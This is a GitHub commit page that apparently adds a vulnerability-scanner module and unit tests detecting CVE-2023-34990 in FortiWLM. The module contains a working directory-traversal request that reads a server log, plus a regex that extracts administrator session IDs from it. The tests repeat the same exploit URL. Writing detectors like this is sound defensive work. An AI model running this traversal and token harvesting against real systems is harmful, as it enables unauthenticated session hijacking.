generated from Ostorlab/template_agent
-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Browse files
Browse the repository at this point in the history
…023-34990 Add detection for CVE-2023-34990
- Loading branch information
Showing
2 changed files
with
210 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
"""Agent Asteroid implementation for CVE-2023-34990""" | ||
|
||
import re | ||
import datetime | ||
|
||
import requests | ||
|
||
from agent import definitions | ||
from agent import exploits_registry | ||
from agent.exploits import webexploit | ||
|
||
DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) | ||
|
||
VULNERABILITY_TITLE = "FortiWLM Directory Traversal" | ||
VULNERABILITY_REFERENCE = "CVE-2023-34990" | ||
VULNERABILITY_DESCRIPTION = ( | ||
"CVE-2023-34990 is a critical flaw in FortiWLM that allows unauthenticated attackers to exploit the /ems/cgi-bin/ezrf_lighttpd.cgi " | ||
"endpoint by injecting directory traversal sequences (../) into the imagename parameter. " | ||
"This grants attackers access to sensitive log files, including administrator session tokens, enabling session hijacking and " | ||
"access to restricted endpoints. The following versions of FortiWLM are impacted by CVE-2023-34990:" | ||
"FortiWLM 8.5: Versions 8.5.0 through 8.5.4" | ||
"FortiWLM 8.6: Versions 8.6.0 through 8.6.5" | ||
) | ||
RISK_RATING = "CRITICAL" | ||
|
||
EXPLOIT_URL = "/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log" | ||
|
||
|
||
def _fetch_log_file(target_url: str) -> str | None: | ||
""" | ||
Sends a crafted request to fetch the log file containing sensitive information. | ||
Args: | ||
target_url: The full URL to the vulnerable endpoint. | ||
Returns: | ||
The content of the log file, if accessible, or an empty string. | ||
""" | ||
try: | ||
response = requests.get( | ||
target_url, timeout=DEFAULT_TIMEOUT.seconds, verify=False | ||
) | ||
if response.status_code == 200: | ||
return response.text | ||
except requests.RequestException: | ||
pass | ||
|
||
return None | ||
|
||
|
||
def _extract_session_id(log_content: str) -> list[str]: | ||
""" | ||
Extracts session IDs from the log file content. | ||
Args: | ||
log_content: The content of the fetched log file. | ||
Returns: | ||
A list of extracted session IDs. | ||
""" | ||
session_ids = re.findall(r"sessionid=([A-F0-9]+)", log_content) | ||
return session_ids | ||
|
||
|
||
@exploits_registry.register | ||
class CVE202334990Exploit(webexploit.WebExploit): | ||
accept_request = definitions.Request(method="GET", path="/") | ||
accept_pattern = [re.compile("<title>FortiWLM Login</title>")] | ||
|
||
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: | ||
vulnerabilities: list[definitions.Vulnerability] = [] | ||
|
||
target_url = f"{target.origin}{EXPLOIT_URL}" | ||
log_content = _fetch_log_file(target_url) | ||
|
||
if log_content is not None: | ||
session_ids = _extract_session_id(log_content) | ||
if len(session_ids) > 0: | ||
vulnerability = self._create_vulnerability(target) | ||
vulnerabilities.append(vulnerability) | ||
|
||
return vulnerabilities | ||
|
||
metadata = definitions.VulnerabilityMetadata( | ||
title=VULNERABILITY_TITLE, | ||
description=VULNERABILITY_DESCRIPTION, | ||
reference=VULNERABILITY_REFERENCE, | ||
risk_rating=RISK_RATING, | ||
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
"""Unit tests for Agent Asteroid: CVE-2023-34990""" | ||
|
||
import requests | ||
import requests_mock as req_mock | ||
from pytest_mock import plugin | ||
|
||
from agent import definitions | ||
from agent.exploits import cve_2023_34990 | ||
|
||
|
||
def testCVE202334990_whenVulnerable_reportFinding( | ||
mocker: plugin.MockerFixture, | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""CVE-2023-34990 unit test: case when target is vulnerable.""" | ||
|
||
mock_fetch_log_file = mocker.patch( | ||
"agent.exploits.cve_2023_34990._fetch_log_file", | ||
return_value=( | ||
"""<SCRIPT language="javascript">window.location.href = "/workflow/jsp/logon.jsp;jsessionid=4E1D466A8377449EC3BFABED58A66B14";</SCRIPT>""" | ||
), | ||
) | ||
requests_mock.get( | ||
"http://localhost:80/", | ||
text="""<title>FortiWLM Login</title>""", | ||
status_code=200, | ||
) | ||
|
||
exploit_instance = cve_2023_34990.CVE202334990Exploit() | ||
|
||
target = definitions.Target("http", "localhost", 80) | ||
|
||
accept = exploit_instance.accept(target) | ||
vulnerabilities = exploit_instance.check(target) | ||
|
||
assert accept is True | ||
assert len(vulnerabilities) == 1 | ||
vulnerability = vulnerabilities[0] | ||
assert vulnerability.entry.title == cve_2023_34990.VULNERABILITY_TITLE | ||
assert vulnerability.entry.risk_rating == "CRITICAL" | ||
assert vulnerability.technical_detail == ( | ||
"http://localhost:80 is vulnerable to CVE-2023-34990, FortiWLM Directory Traversal" | ||
) | ||
mock_fetch_log_file.assert_called_once_with( | ||
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log" | ||
) | ||
|
||
|
||
def testCVE202334990_whenSafe_reportNothing( | ||
mocker: plugin.MockerFixture, | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""CVE-2023-34990 unit test: case when target is not vulnerable.""" | ||
|
||
mock_fetch_log_file = mocker.patch( | ||
"agent.exploits.cve_2023_34990._fetch_log_file", return_value=None | ||
) | ||
requests_mock.get( | ||
"http://localhost:80/", | ||
text="""<title>FortiWLM Login</title>""", | ||
status_code=200, | ||
) | ||
|
||
exploit_instance = cve_2023_34990.CVE202334990Exploit() | ||
|
||
target = definitions.Target("http", "localhost", 80) | ||
|
||
accept = exploit_instance.accept(target) | ||
vulnerabilities = exploit_instance.check(target) | ||
|
||
assert accept is True | ||
assert len(vulnerabilities) == 0 | ||
mock_fetch_log_file.assert_called_once_with( | ||
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log" | ||
) | ||
|
||
|
||
def testCVE202334990_whenError_fetchLogFileHandlesErrorGracefully( | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""CVE-2023-34990 unit test: case when _fetch_log_file encounters an error gracefully and returns no vulnerabilities.""" | ||
|
||
requests_mock.get( | ||
"http://localhost:80/", | ||
text="""<title>FortiWLM Login</title>""", | ||
status_code=200, | ||
) | ||
requests_mock.get( | ||
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi", | ||
exc=requests.exceptions.RequestException("Simulated request exception"), | ||
) | ||
|
||
exploit_instance = cve_2023_34990.CVE202334990Exploit() | ||
target = definitions.Target("http", "localhost", 80) | ||
|
||
accept = exploit_instance.accept(target) | ||
vulnerabilities = exploit_instance.check(target) | ||
|
||
assert accept is True | ||
assert len(vulnerabilities) == 0 | ||
|
||
|
||
def testCVE202334990_whenLogFileFetchSucceeds_vulnerabilitiesFound( | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""CVE-2023-34990 unit test: case when _fetch_log_file successfully fetches the log file.""" | ||
|
||
mock_log_content = "sessionid=ABC1234 sessionid=XYZ5678" | ||
requests_mock.get( | ||
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi", | ||
text=mock_log_content, | ||
status_code=200, | ||
) | ||
|
||
exploit_instance = cve_2023_34990.CVE202334990Exploit() | ||
target = definitions.Target("http", "localhost", 80) | ||
|
||
vulnerabilities = exploit_instance.check(target) | ||
|
||
assert len(vulnerabilities) == 1 | ||
assert vulnerabilities[0].entry.title == cve_2023_34990.VULNERABILITY_TITLE |